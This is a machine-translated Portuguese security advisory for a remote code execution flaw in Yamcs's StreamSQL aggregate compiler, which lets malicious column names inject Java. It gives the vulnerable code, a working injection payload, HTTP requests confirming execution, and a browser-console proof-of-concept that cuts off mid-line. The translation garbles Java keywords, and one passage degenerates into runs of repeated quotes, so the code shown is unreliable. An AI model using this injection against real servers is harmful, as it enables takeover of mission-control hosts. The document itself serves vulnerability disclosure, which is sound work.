O Yamcs compila as expressões do StreamSQL para Java na mosca com o Janino ` SimpleCompiler` (sem política de carregamento de classes restritiva ou caixa de areia de expressão). Quando um agregado StreamSQL como `sum(...)` é aplicado a uma **colounna**, o *nome* da coluna é interpolado **unesscaped** para a fonte Java gerada. Como o Yamcs aceita caracteres arbitrários em um identificador de colunas com duas citações e não aplica validação quando uma coluna é criada, um usuário autenticado com o privilégio do sistema `ControlArchiving` pode criar um nome de coluna que injecta Java arbitrário no agregado compilado e consegue a execução de código remoto no hospedeiro do Yamcs através do ` POST /api/archive/{instance}:executeSql`. Este é um segundo ponto de entrada independente do Janino- RCE compartilhando a causa raiz do CVE- 2026 - 44632 (GHSA- 524 g- x 36 v- 9 wm 6 ). O 5.13.0 / 5.12.7 corrigir para CVE- 2026 - 44632 endurecido apenas o caminho do algoritmo-override (`JavaExprAlgorithmExecutionFactory`, alcançado através de `MdbOverrideApi` e portado por `ChangeMissionDatabase`). O compilador de expressão StreamSQL (`org.yamcs.yarch.streamsql`) não foi abordado e permanece explorável em 5.13.0 via um privilégio **diferente** (`ControlArchivamento`). Um usuário autêntico do Yamcs com `SystemPrivilege.ControlArchiving` pode fazer com que o Yamcs compile fonte Java controlada pelo atacante através do compilador de expressão agregada StreamSQL acessível a partir do `POST /api/archive/{instance}:executeSql`. O código injetado executa dentro do JVM do servidor Yamcs com os privilégios do processo do servidor Yamcs, evitando o modelo de autorização do Yamcs. Porque esta é a execução normal do Java, APIs JDK perigosas, como acesso ao sistema de arquivos, execução de processos, reflexão e carregamento de classes são alcançables a menos que externamente sandboxed. Isto permite comprometer a confidencialidade, integridade e disponibilidade da implantação do Yamcs: acesso aos dados e credenciais da missão disponíveis para o processo, manipulação de telemetria/arquivo, negação de serviço e movimento lateral do ambiente do hospedeiro. "ControlArchiving" é o privilégio de gerenciamento de arquivos/mesas/fluxos — distinto tanto do acesso do super- usuário como do privilégio de "Modificar a Missão" usado pelo problema Janino sobrevertido ao algoritmo previamente fixado (CVE-- 2026 - 44632 ). O escopo é marcado como Mudado porque a execução passa de um privilégio API do Yamcs autenticado para execução arbitrária de código sob a autoridade do servidor / sistema operacional host, fora dos privilégios concedidos ao usuário do Yamcs autenticado (consistente com a pontuação S:C do mantenedor do irmão CVE-- 2026 - 44632 ).
Detalhes Técnicos. ### O pia: compilação de Janino sem cortina de Java gerado `org.yamcs.yarch.streamsql.CompilableAggregateExpression#getCompiledAggregate()` compila uma string de fonte Java e compila- a com Janino, sem ClassLoader restritivo e sem lista de permissões classe/API: ```java // org/ yamcs/ yarch/ streamsql/ Compilable AggregateExpression.java: 26 - 50 String className = "AggregateExpression" + counter.incrementAndGet(); StringBuilder code = new StringBuilder(); code.append("package org.yamcs.yarch;\n").append("classe pública " + className + " implementa CompiledAggregateExpression {n"); agregadoFillCode_ Declarations(code); code.append("\tpublic vaded newData(Tuple tuple) {\n"); agregadoFillCode_newData(code); // <--- agressor-controlado nome da coluna terras aqui code.append("\t}\n"); code.append("\tpublic Object getValue() {\n"); agregadoFillCode_getValue(code); code.("\t}\n");... Compilador SimpleCompiler = novo SimpleCompiler(); // gerado fonte é compilado sem um compilador de caixa de areia restritivo.cook(code.toString()); // compila fonte Java influenciada pelo atacante ```` ### A injeção: o nome da coluna interpolado sem escadas. `SumExpression#agregateFillCode_newData` emite, dentro de `newData(Tuple tuple)`, uma declaração para cada coluna de entrada seguida de `sum += col `: ```java // org/ yamcs/ yarch/ streamsql/ funct/ SumExpression.java: 38 - 42 Protegido Vazio AgregadoFillCode_newData(StringCodeBuilder) lança StreamSqlException { fillCode_InputDefVars(inputDef.getColumnDefinitions(), code); // emite o código de declaração da coluna.apend("\t\tsum+=col" + crianças[ 0 ].getColumnName()); // emite novamente o identificador da coluna code. append(";\n"); } ```.
`fillCode_InputDefVars` interpola o nome da coluna para um identificador Java com apenas `sanitizeName` aplicado, e novamente — bruto — para uma string literal `tuple.getColumn("...")`: ```java // org/ yamcs/ yarch/ streamsql/ Expression.java: 134 - 145 Chave JavaColIdentifier = "col" + sanitizeName( cd.getName());... code. append("\t\t" + dtype.javaType() + "" + javaColIdentifier + " = (" + dtype.javaType() + ")tuple.getColumn(\"" + cd.getName() + "\");\n"); // Expression.java: 237 - 238 — a ÚNICA transformação aplicada ao nome da coluna: String estático sanitizeName(String s) { retorna s. replace("/", "_"). replace("-", "_"); } ``` ` sanitizeName` mapeia apenas `/` e `-` para `_`. Cada outro caractere — `;`, espaços, `(` `)` `{` `}` `[` `]`, `=`, ``, `+', `', '', '', '', '', '', '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' O contexto explorável é o Java **identificator** `col `. O mesmo método também emite o nome da coluna em bruto em uma cadeia de texto Java usada por `tuple.getColumn("...")` (Expression.java: 140 / 144 ). Este contexto de texto- letrado não é necessário para a exploração mostrada aqui, mas ainda deve ser escapado com `ValueExpression.escapeJavaString`, porque é outra instância de texto bruto controlado pelo usuário emitida em fonte Java gerada (incluindo casos de escape- seqüência de Java) e, portanto, é um risco adicional de geração de fonte, não uma superfície fechada. (`ValueExpression.escapeJavaString` é corretamente aplicado a *valor literals* tais como `WHERE x = '...''; os nomes de funções são separadamente listados em branco por `FunctionExpressionFactory'. A lacuna não corrigida é a coluna **identificador**.)
### Por que o nome da coluna é totalmente controlado pelo atacante. A gramática StreamSQL aceita qualquer caracter exceto a nova linha / CR / dupla- quota em um identificador duplo- citado, e retorna o conteúdo interno bruto: ``` // org/ yamcs/ yarch/ streamsql/ StreamSql.jj: 237 e: 931 {String s 1 = token. image; retorna s 1.substring( 1, s 1. longh() - 1 );} ``` ` ObjetName()` (usado para nomes de colunas em `CREATE TABLE` / `CREATE STREAM`) aceita este token, e nem `org.yamcs.yarch.ColumnDefinition` nem `TupleDefinition.addColumn` valida os caracteres de um nome de coluna (apenas uma verificação de nome duplicado). Então ` CREATE TABLE mal(" " duplo,...)` cria uma coluna cujo nome é o texto do atacante escolhido. ### Por que o compilador de expressão nua NÃO é explorável, mas o compilador agregado É.
O compilador de expressão geral `Expression#compile()` emite o identificador da coluna em dois contextos — uma declaração de contexto de declaração * e* a expressão ` return col ;`. Uma carga útil que carrega instruções executáveis (`; `- separadas) torna o código após o ` retorno ' inalcançable, o qual Janino rejeita ("A declaração é inalcançable"); uma carga útil sem `; ` não pode carregar um efeito secundário. Essa barreira acidental torna o caminho de coluna nua não explorável. O caminho **agregate** é diferente e explorável: em `SumExpression', ambas as emissões do nome da coluna vivem dentro de `newData(Tuple tuple)` — um método `void', de contexto de declaração — e `getValue()` retorna o acumulador `sum`, **nunca** a coluna. Não há nenhum contexto de expressão `return col ` e nenhum `return' incondicional antes das instruções injetadas, por isso uma carga útil ';`- separada, totalmente alcançada compila- se de forma limpa. ### Reachability: `executeSql` atinge o compilador agregado sem o portão de caminho desnudo ` POST / api/ archive/ {instance}:executeSql` → `TabelaApi.executeSql` (porta `ctx.checkSystemPrivilege(SystemPrivilege.ControlArchiving)`, TabelaApi.java: 398 - 399 ) → `ydb.execute(ydb.createStatement( statement))` → `SelecioneExpression.compile()`.
Crucialmente, quando o argumento de um agregado é uma ** coluna de planilha** (não uma expressão computadorizada), o Yamcs define `aggInputList = null`, que ** desvia** a nua `Expression#compile()` da expressão de entrada que de outra forma lançaria em um nome carregado `;`: ```java // org/ yamcs/ yarch/ streamsql/ SelectionExpression.java: 196 - 215 o booleano temComputações = false; for (AggregateExpression aggExpr: aggList) {... for (Expression expr: aggExpr. children) { expr.bind(inputDef);... se (!(expr instanceof ColumnExpression)) { temComputações = true; // somente true for sum(y+ 3 )- estilo args computadorizados } } } se (! tem Computações) { // sum(" ") => true aggInputDef = null; aggInputList = null; // => a compilação descartada abaixo é pulada }... // compila() (SelecioneExpression.java: 241 - 252 ): se (aggInputList!= null) { for (Expressão e: aggInputList) caggInputList.add(e. compile()); } // SKIPPED... for (AggregateExpression aexpr: aggList) { caggList.add(aexpr.getCompiledAggregate()); } // REALIZADO -> RCE ``` Então ` SELECTION sum(" ") DESDE ` chega diretamente `getCompiledAggregate()`. O agregado compilado `newData()' é executado para cada tupla processada, executando o código injetado. ### Verificação final de execução (Yamcs reais) 5.13.0, segurança ativada, `ControlArchiving'- somente usuário).
A cadeia completa foi confirmada de ponta a ponta contra um Yamcs real e habilitado para a segurança ** 5.13.0 servidor** (o inicial de faststart oficial do Yamcs, banner do servidor `Yamcs 5.13.0, construir 8 bf 5 af 6 fe 227 bbf 8 orelha 15 e 60644 b 7 ddbf 345 d 623 `, exemplo `myproject`, `YamlAuthModule` com ` habilitado: true`. O acesso anônimo foi rejeitado (`GET / api/ istances` → ` 401 `), confirmando a segurança estava realmente ligada. Uma conta não- superusuária `archiver` foi criada mantendo ** apenas** `SystemPrivilege.ControlArchiving` e uma segunda conta `ninguém' sem privilégios. A carga útil injetada é um `java.io.File(...) benigno.mkdirs()` cujo caminho é construído a partir de códigos de caracteres, de modo que o nome da coluna StreamSQL não precisa de `"` ou `/`: ``` text manequim; novo java.io.File(novo String(novo char[]{ }).mkdirs(); friddummy=friddummy ```. Para uma coluna `double`, este unidade `SumExpression.getCompiledAggregate()` para gerar e compilar (real Janino) a seguinte classe, cujo `newData(Tuple)` é executado por linha processada: ```java package org.yamcs.yarch; public class AggregateExpressionN implementa CompiledAggregateExpression { soma dupla; vazio público novoData(Tuple tuple) { Duplo frigião; novo java.io.File(novo String(novo char[]{......})).mkdirs(); frigião=frigião = (duplo)tuple.getColumn("dummy; novo java.io.File((...); frigião=frigião"); sum+=frigião; novo java.io.File(novo string(novo char[]{...})).mkdirs(); frigião=frigião; } Public Object getValue() { retorno soma; } vazio público claro() { sum== 0; } } ```.
Caso positivo — o usuário `archiver` (token obtido através de `POST /auth/token`, `grant_type=password`). `GET /api/user` confirma `"superuser": false`, `"roles":[{"nome":"ArchiverSomente"}]`, `"systemPrivileges":["ControlArchiving"]`. Dirigendo as três instruções sobre `POST /api/archive/myproject:executeSql`: ``` Texto == CRÉA == crie tabela (" " duplo, id int, tecla primária(id)) { } HTTP 200 # nome da coluna maliciosa aceito, não validado == INSERAÇÃO == inserir em valores (id, " ")( 1, 1.0 ) { "colomnas":[{"nome":"inserido","tipo":"LONGO"}], "rires":[{"valores":[{"tipo":"SINT 64 ","sintar 64 Valor:" 1 "}]} } HTTP 200 == SELEÇÃO DE SUM == selecione soma(" ") de { "colomnas":[{"nome":"Expressão de Sum 0 x 6 fd 4 b 7 e 1 d","tipo":"DOUBLE"}], "rrows":[{"valores":[{"tipo":"DOUBLE","duploValor": 1.0 }]} } HTTP 200 # agregado compilado + executado.
== Marcadores no hospedeiro de Yamcs == RCE-CONFIRMED (archiver/ControlArchiving): /tmp/yamcs-rce-sec- criado ```. Caso negativo — o usuário `ninguém` (sem privilégios) contra o mesmo objetivo: ``` Texto == executar o Sql como ninguém == { "código": 403, "tipo": "ProibidoExceção", "msg": "Perdendo privilégio do sistema 'ControleArchiving'" } HTTP 403 ``` Isto estabelece ambas as metades no tempo de execução: um não- super- usuário que segura ** apenas** ` ControlArchiving ' chega ao compilador e executa Java injetado no JVM Yamcs (o diretório de marcadores é criado no hospedeiro), enquanto um usuário sem o privilégio é rejeitado com ` 403 ` na verificação de "ControlArchiving '. A `selecione a soma(...)` compilou `SumExpression` através do motor real e executou a `newData()' injetada para a linha inserida. O trailer `fridemmy=fridemmy` é uma instrução de atribuição válida em ambas as posições de emissão, por isso não há nenhuma "inalcançavel" e nenhum "deve devolver um valor" — as restrições que bloqueiam o caminho da coluna nua não se aplicam dentro de `newData'. Pre- condição: uma conta que contém `SystemPrivilege.ControlArchiving ' na instância Yamcs alvo. O limite de privilégios é ambos confirmados por fonte (o portão `ctx.checkSystemPrivilege(SystemPrivilege.ControlArchiving)` em `TableApi.executeSql`, TableApi.java: 398 - 399 ) e confirmada pelo tempo de execução (um ` ControlArchiving`- somente não- super- usuário é bem sucedido; um usuário sem ele recebe ` 403 ProibidoExceção "Principio de sistema perdido 'ControlArchiving'"".
Passo 1 — Executação do código do activador através de um nome de coluna malicioso StreamSQL Abrir DevTools (F) 12 ) → Console como um operador conectado com `ControlArchiving`, definir `INSTANCE' e colar: ```js // Execute no console do navegador de um operador do Yamcs conectado que mantém o privilégio ControlArchiving. // Demonstra execução arbitrária de código JVM no host do Yamcs através de um nome malicioso da coluna do StreamSQL. // Prova benign: cria um diretório de marcadores no host. Mais cargas úteis de comandos destroços do OS são omitidas intencionalmente — não escale além desta prova. const INSTANCIA = "myproject"; // <-- definido para um nome de instância real API const = location. origin + "/ api/ archive/" + INSTANCIA + ":executeSql"; // compila `novo String(novo char[]{..})` para que a carga útil não precise de " ou / const jchars = s => "novo String(novo char[]{" + [...s].map(c => c.charCodeAt( 0 )). join(",") + "})"; const MARKER = "/ tmp/ yamcs- rce- poc-" + Date.now(); // marcador o Java injectado irá criar const col = "dummy; java.io.File(" + jchars(MARKER) + "). mkd.